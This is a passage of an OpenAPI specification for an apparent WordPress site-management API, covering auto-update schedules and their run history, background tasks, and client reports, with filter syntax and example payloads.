`monthly_on_week`, `monthly_last_day`\n- Supported update type values for matching: `plugin`, `theme`, `core`\n- `update_types:in` and `site_id:in` must use array syntax, for example `filters[site_id:in][]=`\n- Boolean filters accept `true` or `false`\n- Use ISO 8601 timestamps for `started_at`, `next_update_at`, `created_at`, and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[status:eq]=active`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`, `updated_at`, `name`, `status`,\n `schedule`, `started_at`, `next_update_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=next_update_at,asc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListAutoUpdateSchedulesSort" }, "description": "Sort order for returned auto update schedules.", "example": "created_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListAutoUpdateSchedulesFilters" }, "description": "Filters applied to returned auto update schedules.", "example": { "status:eq": "active", "update_types:in": [ "plugin", "core" ], "site_id:in": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] } } ], "responses": { "200": { "description": "Auto update schedules returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListAutoUpdateSchedulesResponse" }, "example": { "auto_update_schedules": [ { "id": "aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates", "status": "active", "schedule": "weekly_on_day", "started_at": "2026-03-03T02:30:00Z", "next_update_at": "2026-03-10T02:30:00Z", "scope": { "sites": { "selection": "all" }, "updates": { "wordpress_core": true, "plugins": { "selection": "all", "filenames": [] } } }, "options": { "backup": true, "visual_regression": false }, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:00:00Z" }, { "id": "pN3mK7xQ9pL4wJ6vT2hY8bFa", "name": "Monthly theme updates", "status": "paused", "schedule": "monthly_on_date", "started_at": "2026-03-05T03:00:00Z", "next_update_at": "2026-04-05T03:00:00Z", "scope": { "sites": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] }, "updates": { "wordpress_core": false, "themes": { "selection": "specific", "filenames": [ "twentytwentyfour" ] } } }, "options": { "backup": false, "visual_regression": false }, "created_at": "2026-02-27T09:00:00Z", "updated_at": "2026-02-27T09:30:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/responses-InvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Auto Update Schedules" ], "summary": "Create auto update schedule", "operationId": "createAutoUpdateSchedule", "description": "Creates an active auto update schedule for WordPress updates.\n\nUse this when selected sites need WordPress core, plugin, or theme\nupdates to run on a recurring schedule.\n\nSubmitted sites must be available to you. Backup and visual regression\noptions require the matching account plan feature.\n\nA successful response returns the created auto update schedule with\n`status: active`.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateAutoUpdateScheduleRequest" }, "example": { "auto_update_schedule": { "name": "Weekly production updates", "schedule": "weekly_on_day", "started_at": "2026-03-03T02:30:00Z", "scope": { "sites": { "selection": "all" }, "updates": { "wordpress_core": true, "plugins": { "selection": "all" } } }, "options": { "backup": true, "visual_regression": false } } } } } }, "responses": { "201": { "$ref": "#/components/responses/AutoUpdateScheduleCreatedResponse" }, "400": { "$ref": "#/components/responses/AutoUpdateScheduleCreateValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/AutoUpdateScheduleCreateBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/auto-update-schedules/{auto_update_schedule_id}": { "parameters": [ { "name": "auto_update_schedule_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/AutoUpdateScheduleId" }, "description": "Auto update schedule ID returned in auto update schedule lists and details." } ], "get": { "tags": [ "Auto Update Schedules" ], "summary": "Show auto update schedule", "operationId": "showAutoUpdateSchedule", "description": "Returns one auto update schedule from your account.\n\nUse this when you need to review one schedule's recurrence, selected\nsites, included update types, next run time, or backup and visual\nregression options before updating it.\n\nA successful response returns the requested auto update schedule.\n", "responses": { "200": { "$ref": "#/components/responses/AutoUpdateScheduleOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Auto Update Schedules" ], "summary": "Delete auto update schedule", "operationId": "deleteAutoUpdateSchedule", "description": "Deletes one auto update schedule.\n\nUse this when selected sites should stop receiving updates from this\nrecurring schedule.\n\nA successful response returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteAutoUpdateScheduleNoContentResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/AutoUpdateScheduleDeleteBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/auto-update-schedules/{auto_update_schedule_id}/update": { "parameters": [ { "name": "auto_update_schedule_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/AutoUpdateScheduleId" }, "description": "Auto update schedule ID returned in auto update schedule lists and details." } ], "post": { "tags": [ "Auto Update Schedules" ], "summary": "Update auto update schedule", "operationId": "updateAutoUpdateSchedule", "description": "Updates one auto update schedule's name, recurrence, start time, site\nscope, update types, or backup and visual regression options. Omitted\nfields remain unchanged.\n\nUse this when a recurring update schedule needs different timing, sites,\nupdate types, or backup and visual regression options.\n\nWhen `scope.updates` is sent, it is the full desired update category\nset. Use `enable` or `disable` to change `status`.\n\nA successful response returns the updated auto update schedule.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateAutoUpdateScheduleRequest" }, "examples": { "scalar": { "summary": "Update the schedule name", "value": { "auto_update_schedule": { "name": "Weekly production updates" } } }, "update_categories": { "summary": "Replace update categories", "value": { "auto_update_schedule": { "scope": { "updates": { "wordpress_core": false, "themes": { "selection": "specific", "filenames": [ "twentytwentyfour" ] } } } } } }, "sites_and_options": { "summary": "Update selected sites and options", "value": { "auto_update_schedule": { "scope": { "sites": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] } }, "options": { "backup": false, "visual_regression": false } } } } } } } }, "responses": { "200": { "$ref": "#/components/responses/AutoUpdateScheduleOkResponse" }, "400": { "$ref": "#/components/responses/AutoUpdateScheduleUpdateValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/AutoUpdateScheduleUpdateBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/auto-update-schedules/{auto_update_schedule_id}/enable": { "parameters": [ { "name": "auto_update_schedule_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/AutoUpdateScheduleId" }, "description": "Auto update schedule ID returned in auto update schedule lists and details." } ], "post": { "tags": [ "Auto Update Schedules" ], "summary": "Enable auto update schedule", "operationId": "enableAutoUpdateSchedule", "description": "Enables one paused auto update schedule.\n\nUse this when recurring WordPress updates should start again after a\npause. The schedule's `next_update_at` is recalculated from its\nrecurrence.\n\nA successful response returns the auto update schedule with\n`status: active`.\n", "responses": { "200": { "$ref": "#/components/responses/AutoUpdateScheduleOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/AutoUpdateScheduleEnableFailedResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/auto-update-schedules/{auto_update_schedule_id}/disable": { "parameters": [ { "name": "auto_update_schedule_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/AutoUpdateScheduleId" }, "description": "Auto update schedule ID returned in auto update schedule lists and details." } ], "post": { "tags": [ "Auto Update Schedules" ], "summary": "Disable auto update schedule", "operationId": "disableAutoUpdateSchedule", "description": "Disables one active auto update schedule.\n\nUse this when recurring WordPress updates should stop temporarily without\ndeleting the schedule.\n\nA successful response returns the auto update schedule with\n`status: paused`.\n", "responses": { "200": { "$ref": "#/components/responses/AutoUpdateSchedulePausedResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/AutoUpdateScheduleDisableFailedResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/auto-update-history": { "get": { "tags": [ "Auto Update History" ], "summary": "List auto update history", "operationId": "listAutoUpdateHistory", "description": "Returns past runs for auto update schedules in your account. Each entry\nincludes the schedule ID and name, run time, task ID when an update task\nwas created, status, and site-level WordPress update details when\navailable.\n\nUse this list to review scheduled WordPress update runs, find runs for a\nschedule, check update task status, or see which site-level core,\nplugin, and theme updates were included.\n\nSite update details are included only for sites available to you.\nEntries with `status: no_updates` did not create an update task.\n\nA successful response returns a paginated list of auto update history\nentries.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `auto_update_schedule_id`, `auto_update_schedule_name`,\n `status`, `performed_on`\n- Supported operators:\n - `eq`: `auto_update_schedule_id`, `status`\n - `in`: `auto_update_schedule_id`, `status`\n - `contains`: `auto_update_schedule_name`\n - `gte`: `performed_on`\n - `lte`: `performed_on`\n- Supported status values for matching: `initializing`, `running`,\n `completed`, `cancelled`, `failed`, `aborted`, `no_updates`\n- `auto_update_schedule_id:in` and `status:in` must use array syntax,\n for example `filters[status:in][]=completed`\n- Use ISO 8601 timestamps for `performed_on` filters\n- Example: `filters[status:in][]=completed&filters[status:in][]=no_updates`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `performed_on`, `auto_update_schedule_name`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `performed_on,desc`\n- Example: `sort=performed_on,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListAutoUpdateHistorySort" }, "description": "Sort order for returned auto update history entries.", "example": "performed_on,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListAutoUpdateHistoryFilters" }, "description": "Filters applied to returned auto update history entries.", "example": { "auto_update_schedule_id:eq": "aU8nK5xR2mL7pQ4vT6hY9bFd", "status:in": [ "completed" ], "performed_on:gte": "2026-03-01T00:00:00Z" } } ], "responses": { "200": { "description": "Auto update history entries returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListAutoUpdateHistoryResponse" }, "example": { "auto_update_history": [ { "auto_update_schedule": { "id": "aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates" }, "performed_on": "2026-03-10T02:30:00Z", "task_id": "vT8nK5xR2mL7pQ4vT6hY9bFd", "status": "completed", "sites": [ { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "wp": { "core": { "current_version": "6.4.2", "target_version": "6.4.3" }, "plugins": [ { "name": "Akismet Anti-Spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "target_version": "5.3.3" } ], "themes": [ { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "current_version": "1.0", "target_version": "1.1" } ] } } ] }, { "auto_update_schedule": { "id": "aU3mK7xN9pL4wJ6vQ2hY8bFa", "name": "Theme patch window" }, "performed_on": "2026-03-09T04:00:00Z", "task_id": null, "status": "no_updates", "sites": [] } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ListAutoUpdateHistoryInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/tasks": { "get": { "tags": [ "Tasks" ], "summary": "List tasks", "operationId": "listTasks", "description": "Returns tasks in your account with status, type, progress, and request\ndetails when available. Request details can include the site IDs connected\nto the task.\n\nUse this list to review background work, find a task to inspect, or\nchoose a task to cancel.\n\nA successful response returns a paginated list of tasks.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `status`, `type`, `created_at`, `updated_at`\n- Supported operators:\n - `eq`: `status`, `type`\n - `gte`: `created_at`, `updated_at`\n - `lte`: `created_at`, `updated_at`\n- Supported status values for matching: `initializing`, `running`, `completed`, `cancelled`, `failed`, `aborted`\n- Supported type values for matching: `wp_site_update`, `staging`, `test_restore`,\n `wp_plugin_activate`, `wp_plugin_deactivate`, `wp_plugin_delete`,\n `wp_plugin_install`, `wp_theme_activate`, `wp_theme_delete`,\n `wp_theme_install`, `wp_user_password_change`, `wp_user_role_change`,\n `wp_user_delete`, `wp_user_create`, `wp_theme_upload`, `wp_plugin_upload`,\n `wp_core_db_upgrade`, `wp_plugin_db_upgrade`, `restore`, `download`,\n `upload`, `migrate`, `report`, `hackcleanup`, `settingop`, `speed`,\n `download_staging`, `configure_staging_site`\n- `wp_site_update` matches WordPress core, plugin, theme, and auto-update tasks\n- `staging` does not include test-restore tasks. Use `test_restore` for those\n- Use ISO 8601 timestamps for `created_at` and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[status:eq]=running`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`, `updated_at`, `status`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListTasksSort" }, "description": "Sort order for returned tasks.", "example": "created_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListTasksFilters" }, "description": "Filters applied to returned tasks.", "example": { "status:eq": "running", "type:eq": "wp_site_update" } } ], "responses": { "200": { "description": "Tasks returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListTasksResponse" }, "example": { "tasks": [ { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "running", "type": "wp_site_update", "created_at": "2026-02-26T10:00:00Z", "updated_at": "2026-02-26T10:05:00Z", "progress": { "percent": 40, "metrics": { "sites": { "done": 0, "total": 1 } } }, "input": { "sites": [ { "id": "9bf3c2e7", "options": { "backup": true, "visual_regression": false, "sandbox": false }, "plugins": [ { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form", "filename": "contact-form/plugin.php" } ] } ] } }, { "id": "8c4a1b6e5d9f3027a4b8c1d6e7f9023a", "status": "completed", "type": "staging", "created_at": "2026-02-25T09:00:00Z", "updated_at": "2026-02-25T09:20:00Z", "progress": { "percent": 100, "metrics": { "sites": { "done": 1, "total": 1 } } }, "input": { "sites": [ { "id": "4cd9a8b1", "site_url": "https://www.example.net", "user_configuration": { "site_name": "Store staging", "php_version": "8.1", "category": "staging" }, "snapshot_id": "65a8f4c2d1b3e7f9a0c5d8e2", "snapshot_timestamp": "2026-02-25T08:45:00.000Z" } ] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ListTasksInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/tasks/{task_id}": { "parameters": [ { "name": "task_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/TaskId" }, "description": "Task ID returned in task lists or when background work starts." } ], "get": { "tags": [ "Tasks" ], "summary": "Show task", "operationId": "showTask", "description": "Returns one task with its current status, request details, site-level\nprogress, and step-level progress.\n\nUse this when you have a task ID from this list or from a response that\nstarted background work and need detailed progress for each site.\n\nA successful response returns the requested task with `details.sites`.\n", "responses": { "200": { "description": "Task returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/TaskResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "running", "type": "wp_site_update", "created_at": "2026-02-26T10:00:00Z", "updated_at": "2026-02-26T10:05:00Z", "progress": { "percent": 40, "metrics": { "sites": { "done": 0, "total": 1 } } }, "input": { "sites": [ { "id": "9bf3c2e7", "options": { "backup": true, "visual_regression": false, "sandbox": false }, "plugins": [ { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form", "filename": "contact-form/plugin.php" } ] } ] }, "details": { "sites": [ { "id": "9bf3c2e7", "status": "running", "progress": { "percent": 40 }, "steps": [ { "type": "update_plugin", "status": "running", "details": { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form" }, "progress": { "percent": 40 }, "error": {} } ] } ] } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/tasks/{task_id}/cancel": { "post": { "tags": [ "Tasks" ], "summary": "Cancel task", "operationId": "cancelTask", "description": "Requests cancellation for a task.\n\nUse this when background work should stop before it finishes.\n\nA successful response returns the updated task with its latest status and\nsite-level details.\n", "parameters": [ { "name": "task_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/TaskId" }, "description": "Task ID returned in task lists or when background work starts." } ], "responses": { "200": { "description": "Task cancellation requested successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/TaskResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "cancelled", "type": "wp_site_update", "created_at": "2026-02-26T10:00:00Z", "updated_at": "2026-02-26T10:10:00Z", "progress": { "percent": 100, "metrics": { "sites": { "done": 0, "total": 1 } } }, "input": { "sites": [ { "id": "9bf3c2e7", "options": { "backup": true, "visual_regression": false, "sandbox": false }, "plugins": [ { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form", "filename": "contact-form/plugin.php" } ] } ] }, "details": { "sites": [ { "id": "9bf3c2e7", "status": "cancelled", "progress": { "percent": 40 }, "steps": [ { "type": "update_plugin", "status": "cancelled", "details": { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form" }, "progress": { "percent": 40 }, "error": {} } ] } ] } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/CancelTaskBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/reports": { "get": { "tags": [ "Reports" ], "summary": "List reports", "operationId": "listReports", "description": "Returns generated reports in your account for sites available to you.\nEach report includes site details, date range, report type, client\ndetails when available, and email delivery status.\n\nUse this list to review generated reports, find a report to download or\ndelete, or choose a report to send by email.\n\nA successful response returns a paginated list of reports.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `type`, `site_id`, `client_id`, `sender_email`, `recipient_status`, `created_at`\n- Supported operators:\n - `eq`: `type`, `site_id`, `client_id`, `sender_email`, `recipient_status`\n - `gte`: `created_at`\n - `lte`: `created_at`\n- Supported type values for matching: `one_time`, `scheduled`\n- Supported recipient status values for matching: `sent`, `delivered`, `opened`, `failed`, `bounced`, `spam`\n- Use ISO 8601 timestamps for `created_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[type:eq]=one_time`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListReportsSort" }, "description": "Sort order for returned reports.", "example": "created_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListReportsFilters" }, "description": "Filters applied to returned reports.", "example": { "type:eq": "one_time", "site_id:eq": "9bf3c2e7a1b24c6d8e9f0123456789ab", "recipient_status:eq": "delivered" } } ], "responses": { "200": { "description": "Reports returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListReportsResponse" }, "example": { "reports": [ { "id": "hT5bWx8nKq3mJr6vGs9fYd2a", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://reports.example.com" }, "title": "Website report", "type": "one_time", "client": { "id": "jT7nK2xR8mL4pQ9vW5hY3bFe", "name": "John Client", "email": "client@example.com" }, "start_date": "2026-01-01", "end_date": "2026-01-31", "created_at": "2026-02-01T12:00:00Z", "email": { "subject": "Website report", "body": "Report body", "attach_pdf": false, "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "sender@example.com" }, "recipients": [ { "email": "client@example.com", "status": "delivered", "sent_at": "2026-01-02T00:00:00Z", "delivered_at": "2026-01-02T00:05:00Z", "opened_at": null } ] } }, { "id": "kP8mVx3nQq7rLd2sGt5fYa9b", "site": { "id": "0af3c2e7a1b24c6d8e9f0123456789cd", "title": "Store Site", "url": "https://store.example.com" }, "title": "Monthly report", "type": "scheduled", "client": null, "start_date": "2026-02-01", "end_date": "2026-02-28", "created_at": "2026-03-01T12:00:00Z", "email": { "subject": "Monthly report", "body": null, "attach_pdf": true, "sender_email": null, "recipients": [] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/ListReportsInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Reports" ], "summary": "Create report", "operationId": "createReport", "description": "Creates a one-time report for a site available to you and starts report\ngeneration.\n\nUse this when you need a generated report for a selected date range.\n\nThe site must be available to you and matching backup snapshots must\nexist for the requested date range.\n\nA successful response returns the task created for report generation.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateReportRequest" }, "example": { "report": { "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "timezone": "UTC", "start_date": "2026-01-01", "end_date": "2026-01-31", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "report_template_data": { "general": { "primary_color": "#112233", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "introduction": { "visible": true, "heading": "Introduction", "description": "Report introduction." } }, "section_order": [ "introduction" ] } } } } } }, "responses": { "201": { "description": "Report generation started successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateReportResponse" }, "example": { "task": { "id": "task-report-create", "status": "queued", "created_at": "2026-01-01T00:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/CreateReportInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/CreateReportBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/reports/{report_id}": { "parameters": [ { "name": "report_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ReportId" }, "description": "Report ID returned in report lists and details." } ], "get": { "tags": [ "Reports" ], "summary": "Show report", "operationId": "showReport", "description": "Returns one generated report from your account with site details, date\nrange, report type, client details when available, and email delivery\nstatus.\n\nUse this when you need to review one report before downloading, deleting,\nor sending it by email.\n\nA successful response returns the requested report.\n", "responses": { "200": { "description": "Report returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowReportResponse" }, "example": { "report": { "id": "hT5bWx8nKq3mJr6vGs9fYd2a", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://reports.example.com" }, "title": "Website report", "type": "one_time", "client": { "id": "jT7nK2xR8mL4pQ9vW5hY3bFe", "name": "John Client", "email": "client@example.com" }, "start_date": "2026-01-01", "end_date": "2026-01-31", "created_at": "2026-02-01T12:00:00Z", "email": { "subject": "Website report", "body": "Report body", "attach_pdf": false, "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "sender@example.com" }, "recipients": [ { "email": "client@example.com", "status": "delivered", "sent_at": "2026-01-02T00:00:00Z", "delivered_at": "2026-01-02T00:05:00Z", "opened_at": null } ] } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Reports" ], "summary": "Delete report", "operationId": "deleteReport", "description": "Deletes one generated report from your account.\n\nUse this when you no longer need to keep the generated report.\n\nA successful response returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteReportNoContentResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/reports/{report_id}/download": { "parameters": [ { "name": "report_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ReportId" }, "description": "Report ID returned in report lists and details." } ], "get": { "tags": [ "Reports" ], "summary": "Download report PDF", "operationId": "downloadReport", "description": "Downloads the PDF file for one completed report.\n\nUse this when you need the generated PDF file for a report.\n\nA successful response returns `application/pdf` content.\n", "responses": { "200": { "description": "Report PDF returned successfully.", "content": { "application/pdf": { "schema": { "type": "string", "format": "binary" } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/ReportDownloadNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/reports/{report_id}/send-email": { "parameters": [ { "name": "report_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ReportId" }, "description": "Report ID returned in report lists and details." } ], "post": { "tags": [ "Reports" ], "summary": "Send report email", "operationId": "sendReportEmail", "description": "Sends one completed report by email to submitted recipients.\n\nUse this when recipients need another email copy of a generated report.\n\nA successful response returns successful recipients, per-recipient errors,\nand result counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SendReportEmailRequest" }, "example": { "send_email": { "recipients": [ "client@example.com" ], "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd" }, "subject": "Website report", "body": "Report body", "attach_pdf": true } } } } }, "responses": { "200": { "description": "Report email send request processed successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SendReportEmailResponse" }, "examples": { "delivered": { "summary": "Successful recipient", "value": { "send_email": { "recipients": [ "client@example.com" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "failed_recipients": { "summary": "Per-recipient failures", "value": { "send_email": { "recipients": [], "errors": [ { "email": "client@example.com", "code": "operation_failed", "message": "Failed to send report" } ] }, "meta": { "requested": 1, "succeeded": 0, "failed": 1 } } } } } } }, "400": { "$ref": "#/components/responses/SendReportEmailInvalidRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/ReportSendEmailNotFoundResponse" }, "422": { "$ref": "#/components/responses/SendReportEmailBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/report-templates": { "get": { "tags": [ "Report Templates" ], "summary": "List report templates", "operationId": "listReportTemplates", "description": "Returns user-created report templates in your account. Each item includes\nthe template ID, name, site IDs for scheduled reports that use it, and\ncreation and update times.\n\nUse this list to review report templates, find a template to view details,\nupdate, or delete, or choose a template ID for report or scheduled report\nrequests.\n\nSite IDs identify sites available to you that have active or paused\nscheduled reports using the template.\n\nA successful response returns a paginated list of report templates.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `name`, `created_at`, `updated_at`, `site_id`\n- Supported operators:\n - `contains`: `name`\n - `gte`: `created_at`, `updated_at`\n - `lte`: `created_at`, `updated_at`\n - `in`: 